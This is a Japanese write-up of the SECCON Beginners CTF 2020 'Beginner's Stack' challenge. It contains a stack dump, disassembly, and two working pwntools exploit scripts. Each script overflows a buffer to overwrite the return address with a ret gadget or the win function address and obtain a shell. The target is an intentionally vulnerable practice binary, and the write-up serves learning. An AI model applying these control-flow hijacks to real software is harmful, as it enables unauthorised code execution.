SECCON Beginners CTF 2020 Beginner's Stack Writeup


本番では,Input: にwin関数のアドレス(16進数)を送れずに give up した問題。
作問者writeupを見て,「おれは絶対 pwntools 使わねー」と反発した記憶がある。
今は,OS,メモリ管理やプログラムを勉強するための「よい勉強環境」を利用するために pwntool が必須と判断してる。

問題の入手先

とりあえず実行

$ ./stack
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007fff623ba720 | 0x00007fa31398cb40 | <-- buf
                   +--------------------+
0x00007fff623ba728 | 0x0000000000000000 |
                   +--------------------+
0x00007fff623ba730 | 0x0000000000000000 |
                   +--------------------+
0x00007fff623ba738 | 0x00007fa313ba7170 |
                   +--------------------+
0x00007fff623ba740 | 0x00007fff623ba750 | <-- saved rbp (vuln)
                   +--------------------+
0x00007fff623ba748 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007fff623ba750 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007fff623ba758 | 0x00007fa3135acbf7 | <-- return address (main)
                   +--------------------+
0x00007fff623ba760 | 0x0000000000000001 |
                   +--------------------+
0x00007fff623ba768 | 0x00007fff623ba838 |
                   +--------------------+

Input: 

win関数を呼べばshellがとれるみたい

メイン関数

gdb-peda$ pdisass 
Dump of assembler code for function main:
   0x00000000004007f1 <+0>: push   rbp
   0x00000000004007f2 <+1>: mov    rbp,rsp
=> 0x00000000004007f5 <+4>: mov    rax,QWORD PTR [rip+0x201894]        # 0x602090 <stdin@@GLIBC_2.2.5>
   0x00000000004007fc <+11>:    mov    esi,0x0
   0x0000000000400801 <+16>:    mov    rdi,rax
   0x0000000000400804 <+19>:    call   0x400660 <setbuf@plt>
   0x0000000000400809 <+24>:    mov    rax,QWORD PTR [rip+0x201870]        # 0x602080 <stdout@@GLIBC_2.2.5>
   0x0000000000400810 <+31>:    mov    esi,0x0
   0x0000000000400815 <+36>:    mov    rdi,rax
   0x0000000000400818 <+39>:    call   0x400660 <setbuf@plt>
   0x000000000040081d <+44>:    mov    rax,QWORD PTR [rip+0x20187c]        # 0x6020a0 <stderr@@GLIBC_2.2.5>
   0x0000000000400824 <+51>:    mov    esi,0x0
   0x0000000000400829 <+56>:    mov    rdi,rax
   0x000000000040082c <+59>:    call   0x400660 <setbuf@plt>
   0x0000000000400831 <+64>:    lea    rsi,[rip+0x29]        # 0x400861 <win>
   0x0000000000400838 <+71>:    lea    rdi,[rip+0x321]        # 0x400b60
   0x000000000040083f <+78>:    mov    eax,0x0
   0x0000000000400844 <+83>:    call   0x400680 <printf@plt>
   0x0000000000400849 <+88>:    call   0x4007a7 <vuln>
   0x000000000040084e <+93>:    lea    rdi,[rip+0x340]        # 0x400b95
   0x0000000000400855 <+100>:   call   0x400650 <puts@plt>
   0x000000000040085a <+105>:   mov    eax,0x0
   0x000000000040085f <+110>:   pop    rbp
   0x0000000000400860 <+111>:   ret    
End of assembler dump.

vuln関数の戻りアドレスは,0x40084e

”A” * 8 * 5 必要

gdb-peda$ p &win
$1 = (<text variable, no debug info> *) 0x400861 <win>

win関数のアドレスは 0x400861

$ objdump -d -M intel | less
/ c3
  400626:       c3 

ret の ROP は 0x400626

ctf4b_stack.py
# coding: UTF-8

import pwn
from pwn import *

#io = pwn.remote("bs.quals.beginners.seccon.jp", 9001)
io = pwn.process("./stack")

# leak
io.recvuntil("located at 0x")
win_addr = int(io.recvline()[:6], 16)
log.info("win = %s" % hex(win_addr))

ret = io.readuntil("Input: ")
print(ret)

ret_addr = 0x400626

s = b"A" * 8 * 5
s += pwn.p64(ret_addr) # アライメント RSPは0x10で割り切れる
s += pwn.p64(win_addr)

print(s)

io.send(s)
io.interactive()

別解

ctf4b_stack2.py
# coding: UTF-8

import pwn
from pwn import *

#io = pwn.remote("bs.quals.beginners.seccon.jp", 9001)
io = pwn.process("./stack")

# leak
io.recvuntil("located at 0x")
win_addr = int(io.recvline()[:6], 16)
log.info("win = %s" % hex(win_addr))

ret = io.readuntil("Input: ")
print(ret)

s = b"A" * 8 * 5
s += pwn.p64(win_addr+1) # +1 は,win関数の先頭は push rbp ではないかという勘

print(s)

io.send(s)
io.interactive()